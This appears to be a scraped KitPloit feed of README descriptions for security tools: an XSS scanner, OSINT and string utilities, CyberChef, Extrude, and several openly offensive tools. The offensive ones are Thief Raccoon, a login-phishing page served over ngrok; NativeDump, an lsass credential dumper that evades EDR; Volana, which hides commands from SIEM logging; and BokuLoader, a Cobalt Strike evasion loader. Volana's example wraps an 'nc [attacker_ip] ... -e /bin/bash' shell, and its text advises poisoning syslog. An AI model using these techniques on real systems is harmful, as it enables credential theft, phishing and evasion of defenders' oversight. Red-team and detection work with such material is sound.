Quantcast
Channel: KitPloit - PenTest Tools!

X-Recon - A Utility For Detecting Webpage Inputs And Conducting XSS Scans

$
0
0

A utility for identifying web page inputs and conducting XSS scanning.


Features:

  • Subdomain Discovery:
  • Retrieves relevant subdomains for the target website and consolidates them into a whitelist. These subdomains can be utilized during the scraping process.

  • Site-wide Link Discovery:

  • Collects all links throughout the website based on the provided whitelist and the specified max_depth.

  • Form and Input Extraction:

  • Identifies all forms and inputs found within the extracted links, generating a JSON output. This JSON output serves as a foundation for leveraging the XSS scanning capability of the tool.

  • XSS Scanning:

  • Once the start recon option returns a custom JSON containing the extracted entries, the X-Recon tool can initiate the XSS vulnerability testing process and furnish you with the desired results!



Note:

The scanning functionality is currently inactive on SPA (Single Page Application) web applications, and we have only tested it on websites developed with PHP, yielding remarkable results. In the future, we plan to incorporate these features into the tool.




Note:

This tool maintains an up-to-date list of file extensions that it skips during the exploration process. The default list includes common file types such as images, stylesheets, and scripts (".css",".js",".mp4",".zip","png",".svg",".jpeg",".webp",".jpg",".gif"). You can customize this list to better suit your needs by editing the setting.json file..

Installation

$ git clone https://github.com/joshkar/X-Recon
$ cd X-Recon
$ python3 -m pip install -r requirements.txt
$ python3 xr.py

Target For Test:

You can use this address in the Get URL section

  http://testphp.vulnweb.com



Thief Raccoon - Login Phishing Tool

$
0
0


Thief Raccoon is a tool designed for educational purposes to demonstrate how phishing attacks can be conducted on various operating systems. This tool is intended to raise awareness about cybersecurity threats and help users understand the importance of security measures like 2FA and password management.


Features

  • Phishing simulation for Windows 10, Windows 11, Windows XP, Windows Server, Ubuntu, Ubuntu Server, and macOS.
  • Capture user credentials for educational demonstrations.
  • Customizable login screens that mimic real operating systems.
  • Full-screen mode to enhance the phishing simulation.

Installation

Prerequisites

  • Python 3.x
  • pip (Python package installer)
  • ngrok (for exposing the local server to the internet)

Download and Install

  1. Clone the repository:

```bash git clone https://github.com/davenisc/thief_raccoon.git cd thief_raccoon

  1. Install python venv

```bash apt install python3.11-venv

  1. Create venv:

```bash python -m venv raccoon_venv source raccoon_venv/bin/activate

  1. Install the required libraries:

```bash pip install -r requirements.txt

Usage

  1. Run the main script:

```bash python app.py

  1. Select the operating system for the phishing simulation:

After running the script, you will be presented with a menu to select the operating system. Enter the number corresponding to the OS you want to simulate.

  1. Access the phishing page:

If you are on the same local network (LAN), open your web browser and navigate to http://127.0.0.1:5000.

If you want to make the phishing page accessible over the internet, use ngrok.

Using ngrok

  1. Download and install ngrok

Download ngrok from ngrok.com and follow the installation instructions for your operating system.

  1. Expose your local server to the internet:

  2. Get the public URL:

After running the above command, ngrok will provide you with a public URL. Share this URL with your test subjects to access the phishing page over the internet.

How to install Ngrok on Linux?

  1. Install ngrok via Apt with the following command:

```bash curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok

  1. Run the following command to add your authtoken to the default ngrok.yml

```bash ngrok config add-authtoken xxxxxxxxx--your-token-xxxxxxxxxxxxxx

Deploy your app online

  1. Put your app online at ephemeral domain Forwarding to your upstream service. For example, if it is listening on port http://localhost:8080, run:

    ```bash ngrok http http://localhost:5000

Example

  1. Run the main script:

```bash python app.py

  1. Select Windows 11 from the menu:

```bash Select the operating system for phishing: 1. Windows 10 2. Windows 11 3. Windows XP 4. Windows Server 5. Ubuntu 6. Ubuntu Server 7. macOS Enter the number of your choice: 2

  1. Access the phishing page:

Open your browser and go to http://127.0.0.1:5000 or the ngrok public URL.

Disclaimer

This tool is intended for educational purposes only. The author is not responsible for any misuse of this tool. Always obtain explicit permission from the owner of the system before conducting any phishing tests.

License

This project is licensed under the MIT License. See the LICENSE file for details.

ScreenShots

Credits

Developer: @davenisc Web: https://davenisc.com



PIP-INTEL - OSINT and Cyber Intelligence Tool

$
0
0

 


Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysisprocesses for researchers and cybersecurity professionals.

Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.




Sttr - Cross-Platform, Cli App To Perform Various Operations On String

$
0
0


sttr is command line software that allows you to quickly run various transformation operations on the string.


// With input prompt
sttr

// Direct input
sttr md5 "Hello World"

// File input
sttr md5 file.text
sttr base64-encode image.jpg

// Reading from different processor like cat, curl, printf etc..
echo "Hello World" | sttr md5
cat file.txt | sttr md5

// Writing output to a file
sttr yaml-json file.yaml > file-output.json

:movie_camera: Demo

:battery: Installation

Quick install

You can run the below curl to install it somewhere in your PATH for easy use. Ideally it will be installed at ./bin folder

curl -sfL https://raw.githubusercontent.com/abhimanyu003/sttr/main/install.sh | sh

Webi

MacOS / Linux

curl -sS https://webi.sh/sttr | sh

Windows

curl.exe https://webi.ms/sttr | powershell

See here

Homebrew

If you are on macOS and using Homebrew, you can install sttr with the following:

brew tap abhimanyu003/sttr
brew install sttr

Snap

sudo snap install sttr

Arch Linux

yay -S sttr-bin

Scoop

scoop bucket add sttr https://github.com/abhimanyu003/scoop-bucket.git
scoop install sttr

Go

go install github.com/abhimanyu003/sttr@latest

Manually

Download the pre-compiled binaries from the Release! page and copy them to the desired location.

:books: Guide

  • After installation simply run sttr command.
// For interactive menu
sttr
// Provide your input
// Press two enter to open operation menu
// Press `/` to filter various operations.
// Can also press UP-Down arrows select various operations.
  • Working with help.
sttr -h

// Example
sttr zeropad -h
sttr md5 -h
  • Working with files input.
sttr {command-name} {filename}

sttr base64-encode image.jpg
sttr md5 file.txt
sttr md-html Readme.md
  • Writing output to file.
sttr yaml-json file.yaml > file-output.json
  • Taking input from other command.
curl https: //jsonplaceholder.typicode.com/users | sttr json-yaml
  • Chaining the different processor.
sttr md5 hello | sttr base64-encode

echo "Hello World" | sttr base64-encode | sttr md5

:boom: Supported Operations

Encode/Decode

  • [x] ascii85-encode - Encode your text to ascii85
  • [x] ascii85-decode - Decode your ascii85 text
  • [x] base32-decode - Decode your base32 text
  • [x] base32-encode - Encode your text to base32
  • [x] base64-decode - Decode your base64 text
  • [x] base64-encode - Encode your text to base64
  • [x] base85-encode - Encode your text to base85
  • [x] base85-decode - Decode your base85 text
  • [x] base64url-decode - Decode your base64 url
  • [x] base64url-encode - Encode your text to url
  • [x] html-decode - Unescape your HTML
  • [x] html-encode - Escape your HTML
  • [x] rot13-encode - Encode your text to ROT13
  • [x] url-decode - Decode URL entities
  • [x] url-encode - Encode URL entities

Hash

  • [x] bcrypt - Get the Bcrypt hash of your text
  • [x] md5 - Get the MD5 checksum of your text
  • [x] sha1 - Get the SHA1 checksum of your text
  • [x] sha256 - Get the SHA256 checksum of your text
  • [x] sha512 - Get the SHA512 checksum of your text

String

  • [x] camel - Transform your text to CamelCase
  • [x] kebab - Transform your text to kebab-case
  • [x] lower - Transform your text to lower case
  • [x] reverse - Reverse Text ( txeT esreveR )
  • [x] slug - Transform your text to slug-case
  • [x] snake - Transform your text to snake_case
  • [x] title - Transform your text to Title Case
  • [x] upper - Transform your text to UPPER CASE

Lines

  • [x] count-lines - Count the number of lines in your text
  • [x] reverse-lines - Reverse lines
  • [x] shuffle-lines - Shuffle lines randomly
  • [x] sort-lines - Sort lines alphabetically
  • [x] unique-lines - Get unique lines from list

Spaces

  • [x] remove-spaces - Remove all spaces + new lines
  • [x] remove-newlines - Remove all new lines

Count

  • [x] count-chars - Find the length of your text (including spaces)
  • [x] count-lines - Count the number of lines in your text
  • [x] count-words - Count the number of words in your text

RGB/Hex

  • [x] hex-rgb - Convert a #hex-color code to RGB
  • [x] hex-encode - Encode your text Hex
  • [x] hex-decode - Convert Hexadecimal to String

JSON

  • [x] json - Format your text as JSON
  • [x] json-escape - JSON Escape
  • [x] json-unescape - JSON Unescape
  • [x] json-yaml - Convert JSON to YAML text
  • [x] json-msgpack - Convert JSON to MSGPACK
  • [x] msgpack-json - Convert MSGPACK to JSON

YAML

  • [x] yaml-json - Convert YAML to JSON text

Markdown

  • [x] markdown-html - Convert Markdown to HTML

Extract

  • [x] extract-emails - Extract emails from given text
  • [x] extract-ip - Extract IPv4 and IPv6 from your text
  • [x] extract-urls - Extract URls your text ( we don't do ping check )

Other

  • [x] escape-quotes - escape single and double quotes from your text
  • [x] completion - generate the autocompletion script for the specified shell
  • [x] interactive - Use sttr in interactive mode
  • [x] version - Print the version of sttr
  • [x] zeropad - Pad a number with zeros
  • [x] and adding more....

Featured On

These are the few locations where sttr was highlighted, many thanks to all of you. Please feel free to add any blogs/videos you may have made that discuss sttr to the list.



NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

$
0
0


NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).


  • NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
  • RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
  • NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
  • NtOpenProcess to get a handle for the lsass process
  • NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream

Usage:

NativeDump.exe [DUMP_FILE]

The default file name is "proc_.dmp":

The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

The project has three branches at the moment (apart from the main branch with the basic technique):

  • ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

  • delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

  • remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding


Technique in detail: Creating a minimal Minidump file

After reading Minidump undocumented structures, its structure can be summed up to:

  • Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
  • Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
  • Streams: Every stream contains different information related to the process and has its own format
  • Regions: The actual bytes from the process from each memory region which can be read

I created a parsing tool which can be helpful: MinidumpParser.

We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.


A. Header

The header is a 32-bytes structure which can be defined in C# as:

public struct MinidumpHeader
{
public uint Signature;
public ushort Version;
public ushort ImplementationVersion;
public ushort NumberOfStreams;
public uint StreamDirectoryRva;
public uint CheckSum;
public IntPtr TimeDateStamp;
}

The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header


B. Stream Directory

Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

public struct MinidumpStreamDirectoryEntry
{
public uint StreamType;
public uint Size;
public uint Location;
}

The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

IDStream Type
0x00UnusedStream
0x01ReservedStream0
0x02ReservedStream1
0x03ThreadListStream
0x04ModuleListStream
0x05MemoryListStream
0x06ExceptionStream
0x07SystemInfoStream
0x08ThreadExListStream
0x09Memory64ListStream
0x0ACommentStreamA
0x0BCommentStreamW
0x0CHandleDataStream
0x0DFunctionTableStream
0x0EUnloadedModuleListStream
0x0FMiscInfoStream
0x10MemoryInfoListStream
0x11ThreadInfoListStream
0x12HandleOperationListStream
0x13TokenStream
0x16HandleOperationListStream

C. SystemInformation Stream

First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

public struct SystemInformationStream
{
public ushort ProcessorArchitecture;
public ushort ProcessorLevel;
public ushort ProcessorRevision;
public byte NumberOfProcessors;
public byte ProductType;
public uint MajorVersion;
public uint MinorVersion;
public uint BuildNumber;
public uint PlatformId;
public uint UnknownField1;
public uint UnknownField2;
public IntPtr ProcessorFeatures;
public IntPtr ProcessorFeatures2;
public uint UnknownField3;
public ushort UnknownField14;
public byte UnknownField15;
}

The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)


D. ModuleList Stream

Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

public struct ModuleListStream
{
public uint NumberOfModules;
public ModuleInfo[] Modules;
}

As there is only one, it gets simplified to:

public struct ModuleListStream
{
public uint NumberOfModules;
public IntPtr BaseAddress;
public uint Size;
public uint UnknownField1;
public uint Timestamp;
public uint PointerName;
public IntPtr UnknownField2;
public IntPtr UnknownField3;
public IntPtr UnknownField4;
public IntPtr UnknownField5;
public IntPtr UnknownField6;
public IntPtr UnknownField7;
public IntPtr UnknownField8;
public IntPtr UnknownField9;
public IntPtr UnknownField10;
public IntPtr UnknownField11;
}

The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)


E. Memory64List Stream

Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

public struct Memory64ListStream
{
public ulong NumberOfEntries;
public uint MemoryRegionsBaseAddress;
public Memory64Info[] MemoryInfoEntries;
}

Each module entry is a 16-bytes structure:

public struct Memory64Info
{
public IntPtr Address;
public IntPtr Size;
}

The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them


F. Looping memory regions

There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

  1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
  2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
  3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream


G. Creating Minidump file

After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.




CyberChef - The Cyber Swiss Army Knife - A Web App For Encryption, Encoding, Compression And Data Analysis

$
0
0


CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser. These operations include simple encoding like XOR and Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X.509 parsing, changing character encodings, and much more.

The tool is designed to enable both technical and non-technical analysts to manipulate data in complex ways without having to deal with complex tools or algorithms. It was conceived, designed, built and incrementally improved by an analyst in their 10% innovation time over several years.


Live demo

CyberChef is still under active development. As a result, it shouldn't be considered a finished product. There is still testing and bug fixing to do, new features to be added and additional documentation to write. Please contribute!

Cryptographic operations in CyberChef should not be relied upon to provide security in any situation. No guarantee is offered for their correctness.

A live demo can be found here - have fun!

Containers

If you would like to try out CyberChef locally you can either build it yourself:

docker build --tag cyberchef --ulimit nofile=10000 .
docker run -it -p 8080:80 cyberchef

Or you can use our image directly:

docker run -it -p 8080:80 ghcr.io/gchq/cyberchef:latest

This image is built and published through our GitHub Workflows

How it works

There are four main areas in CyberChef:

  1. The input box in the top right, where you can paste, type or drag the text or file you want to operate on.
  2. The output box in the bottom right, where the outcome of your processing will be displayed.
  3. The operations list on the far left, where you can find all the operations that CyberChef is capable of in categorised lists, or by searching.
  4. The recipe area in the middle, where you can drag the operations that you want to use and specify arguments and options.

You can use as many operations as you like in simple or complex ways. Some examples are as follows:

Features

  • Drag and drop
    • Operations can be dragged in and out of the recipe list, or reorganised.
    • Files up to 2GB can be dragged over the input box to load them directly into the browser.
  • Auto Bake
    • Whenever you modify the input or the recipe, CyberChef will automatically "bake" for you and produce the output immediately.
    • This can be turned off and operated manually if it is affecting performance (if the input is very large, for instance).
  • Automated encoding detection
    • CyberChef uses a number of techniques to attempt to automatically detect which encodings your data is under. If it finds a suitable operation that make sense of your data, it displays the 'magic' icon in the Output field which you can click to decode your data.
  • Breakpoints
    • You can set breakpoints on any operation in your recipe to pause execution before running it.
    • You can also step through the recipe one operation at a time to see what the data looks like at each stage.
  • Save and load recipes
    • If you come up with an awesome recipe that you know you'll want to use again, just click "Save recipe" and add it to your local storage. It'll be waiting for you next time you visit CyberChef.
    • You can also copy the URL, which includes your recipe and input, to easily share it with others.
  • Search
    • If you know the name of the operation you want or a word associated with it, start typing it into the search field and any matching operations will immediately be shown.
  • Highlighting
  • Save to file and load from file
    • You can save the output to a file at any time or load a file by dragging and dropping it into the input field. Files up to around 2GB are supported (depending on your browser), however, some operations may take a very long time to run over this much data.
  • CyberChef is entirely client-side
    • It should be noted that none of your recipe configuration or input (either text or files) is ever sent to the CyberChef web server - all processing is carried out within your browser, on your own computer.
    • Due to this feature, CyberChef can be downloaded and run locally. You can use the link in the top left corner of the app to download a full copy of CyberChef and drop it into a virtual machine, share it with other people, or host it in a closed network.

Deep linking

By manipulating CyberChef's URL hash, you can change the initial settings with which the page opens. The format is https://gchq.github.io/CyberChef/#recipe=Operation()&input=...

Supported arguments are recipe, input (encoded in Base64), and theme.

Browser support

CyberChef is built to support

  • Google Chrome 50+
  • Mozilla Firefox 38+

Node.js support

CyberChef is built to fully support Node.js v16. For more information, see the "Node API" wiki page

Contributing

Contributing a new operation to CyberChef is super easy! The quickstart script will walk you through the process. If you can write basic JavaScript, you can write a CyberChef operation.

An installation walkthrough, how-to guides for adding new operations and themes, descriptions of the repository structure, available data types and coding conventions can all be found in the "Contributing" wiki page.

  • Push your changes to your fork.
  • Submit a pull request. If you are doing this for the first time, you will be prompted to sign the GCHQ Contributor Licence Agreement via the CLA assistant on the pull request. This will also ask whether you are happy for GCHQ to contact you about a token of thanks for your contribution, or about job opportunities at GCHQ.


Volana - Shell Command Obfuscation To Avoid Detection Systems

$
0
0


Shell command obfuscation to avoid SIEM/detection system

During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.

volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage


Usage

You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## Execute it
./volana

## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]

Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

from non interactive shell

Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

On attacker machine

## Build volana with encryption key
make build.volana-with-encryption

## Transfer it on TARGET (the unique detectable command)
## [...]

## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

Copy encrypted command and executed it with your rce on target machine

./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

Detection

Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

By detected we mean if we are able to trigger an alert if a certain command has been executed.

Hide from

Only the volana launching command line will be catched. 🧠However, by adding a space before executing it, the default bash behavior is to not save it

  • Detection systems that are based on history command output
  • Detection systems that are based on history files
  • .bash_history, ".zsh_history" etc ..
  • Detection systems that are based on bash debug traps
  • Detection systems that are based on sudo built-in logging system
  • Detection systems tracing all processes syscall system-wide (eg opensnoop)
  • Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
  • Easy to detect & avoid: pkill -9 script
  • Not a common case
  • screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
  • Command detection Could be avoid with volana with encryption

Visible for

  • Detection systems that have alert for unknown command (volana one)
  • Detection systems that are based on keylogger
  • Easy to avoid: copy/past commands
  • Not a common case
  • Detection systems that are based on syslog files (e.g. /var/log/auth.log)
  • Only for sudo or su commands
  • syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
  • Detection systems that are based on syscall (eg auditd,LKML/eBPF)
  • Difficult to analyze, could be make unreadable by making several diversion syscalls
  • Custom LD_PRELOAD injection to make log
  • Not a common case at all

Bug bounty

Sorry for the clickbait title, but no money will be provided for contibutors. 🐛

Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

Report here

Credit



BokuLoader - A Proof-Of-Concept Cobalt Strike Reflective Loader Which Aims To Recreate, Integrate, And Enhance Cobalt Strike's Evasion Features!

$
0
0


A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!


Contributors:

ContributorTwitterNotable Contributions
Bobby Cooke@0xBokuProject original author and maintainer
Santiago Pecin@s4ntiago_pReflective Loader major enhancements
Chris Spehn@ConsciousHackerAggressor scripting
Joshua Magri@passthehashbrwnIAT hooking
Dylan Tran@d_tranmanReflective Call Stack Spoofing
James Yeung@5cript1diotIndirect System Calls

UDRL Usage Considerations

The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.

The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.

Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.

Evasion Features

BokuLoader Specific Evasion Features

  • Reflective callstack spoofing via synthetic frames.
  • Custom ASM/C reflective loader code
  • Indirect NT syscalls via HellsGate & HalosGate techniques
  • All memory protection changes for all allocation options are done via indirect syscall to NtProtectVirtualMemory
  • obfuscate "true" with custom UDRL Aggressor script implementation.
  • NOHEADERCOPY
  • Loader will not copy headers raw beacon DLL to virtual beacon DLL. First 0x1000 bytes will be nulls.
  • XGetProcAddress for resolving symbols
  • Does not use Kernel32.GetProcAddress
  • xLoadLibrary for resolving DLL's base address & DLL Loading
  • For loaded DLLs, gets DLL base address from TEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
  • Does not use Kernel32.LoadLibraryA
  • Caesar Cipher for string obfuscation
  • 100k UDRL Size
  • Import DLL names and import entry name strings are stomped in virtual beacon DLL.

Supported Malleable PE Evasion Features

CommandOption(s)Supported
allocatorHeapAlloc, MapViewOfFile, VirtualAllocAll supported via BokuLoader implementation
module_x64string (DLL Name)Supported via BokuLoader implementation. Same DLL stomping requirements as CS implementation apply
obfuscatetrue/falseHTTP/S beacons supported via BokuLoader implementation. SMB/TCP is currently not supported for obfuscate true. Details in issue. Accepting help if you can fix :)
entry_pointRVA as decimal numberSupported via BokuLoader implementation
cleanuptrueSupported via CS integration
userwxtrue/falseSupported via BokuLoader implementation
sleep_mask(true/false) or (Sleepmask Kit+true)Supported. When using default "sleepmask true" (without sleepmask kit) set "userwx true". When using sleepmask kit which supports RX beacon.text memory (src47/Ekko) set "sleepmask true" && "userwx false".
magic_mz_x644 char stringSupported via CS integration
magic_pe2 char stringSupported via CS integration
transform-x64 prependescaped hex stringBokuLoader.cna Aggressor script modification
transform-x64 strrepstring stringBokuLoader.cna Aggressor script modification
stomppetrue/falseUnsupported. BokuLoader does not copy beacon DLL headers over. First 0x1000 bytes of virtual beacon DLL are 0x00
checksumnumberExperimental. BokuLoader.cna Aggressor script modification
compile_timedate-time stringExperimental. BokuLoader.cna Aggressor script modification
image_size_x64decimal valueUnsupported
namestringExperimental. BokuLoader.cna Aggressor script modification
rich_headerescaped hex stringExperimental. BokuLoader.cna Aggressor script modification
stringwstringUnsupported
stringstringUnsupported

Test

Project Origins

Usage

  1. Compile the BokuLoader Object file with make
  2. Start your Cobalt Strike Team Server
  3. Within Cobalt Strike, import the BokuLoader.cna Aggressor script
  4. Generate the x64 beacon (Attacks -> Packages -> Windows Executable (S))
  5. Use the Script Console to ensure BokuLoader was implemented in the beacon build

  6. Does not support x86 option. The x86 bin is the original Reflective Loader object file.

  7. Generating RAW beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize variable must be larger than the default.
  8. See the Cobalt Strike User-Defined Reflective Loader documenation for additional information

Detection Guidance

Hardcoded Strings

  • BokuLoader changes some commonly detected strings to new hardcoded values. These strings can be used to signature BokuLoader:
Original Cobalt Strike StringBokuLoader Cobalt Strike String
ReflectiveLoaderBokuLoader
Microsoft Base Cryptographic Provider v1.012367321236742382543232341241261363163151d
(admin)(tomin)
beaconbacons

Memory Allocators

DLL Module Stomping

  • The Kernel32.LoadLibraryExA is called to map the DLL from disk
  • The 3rd argument to Kernel32.LoadLibraryExA is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
  • the system does not call DllMain
  • Does not resolve addresses in LDR PEB entry as detailed by MDSec here
  • Detectable by scanning process memory with pe-sieve tool

Heap Allocation

  • Executable RX or RWX memory will exist in the heap if sleepmask kit is not used.

Mapped Allocator

  • The Kernel32.CreateFileMappingA& Kernel32.MapViewOfFile is called to allocate memory for the virtual beacon DLL.

Sleepmask Detection

Indirect Syscalls

  • BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: NtAllocateVirtualMemory, NtProtectVirtualMemory
  • These are called indirectly from the BokuLoader executable memory.
  • Setting userland hooks in ntdll.dll will not detect these systemcalls.
  • It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
  • The BokuLoader itself will contain the mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11 assembly instructions within its executable memory.

Virtual Beacon DLL Header

  • The first 0x1000 bytes of the virtual beacon DLL are zeros.

Source Code Available

  • The BokuLoader source code is provided within the repository and can be used to create memory signatures.
  • If you have additional detection guidance, please feel free to contribute by submitting a pull request.

Credits / References

Reflective Call Stack Spoofing

Reflective Loader

HalosGate SysCaller

  • Reenz0h from @SEKTOR7net
  • Checkout Reenz0h's awesome courses and blogs!
  • Best classes for malware development I have taken.
  • Creator of the halos gate technique. His work was initially the motivation for this work.
  • Sektor7 HalosGate Blog

HellsGate Syscaller

Aggressor Scripting

Cobalt Strike User Defined Reflective Loader

  • https://www.cobaltstrike.com/help-user-defined-reflective-loader

Great Resource for learning Intel ASM

ETW and AMSI Bypass

Implementing ASM in C Code with GCC

  • https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/
  • https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html
  • http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm

Cobalt Strike C2 Profiles




Extrude - Analyse Binaries For Missing Security Features, Information Disclosure And More...

$
0
0


Analyse binaries for missing security features, information disclosure and more.

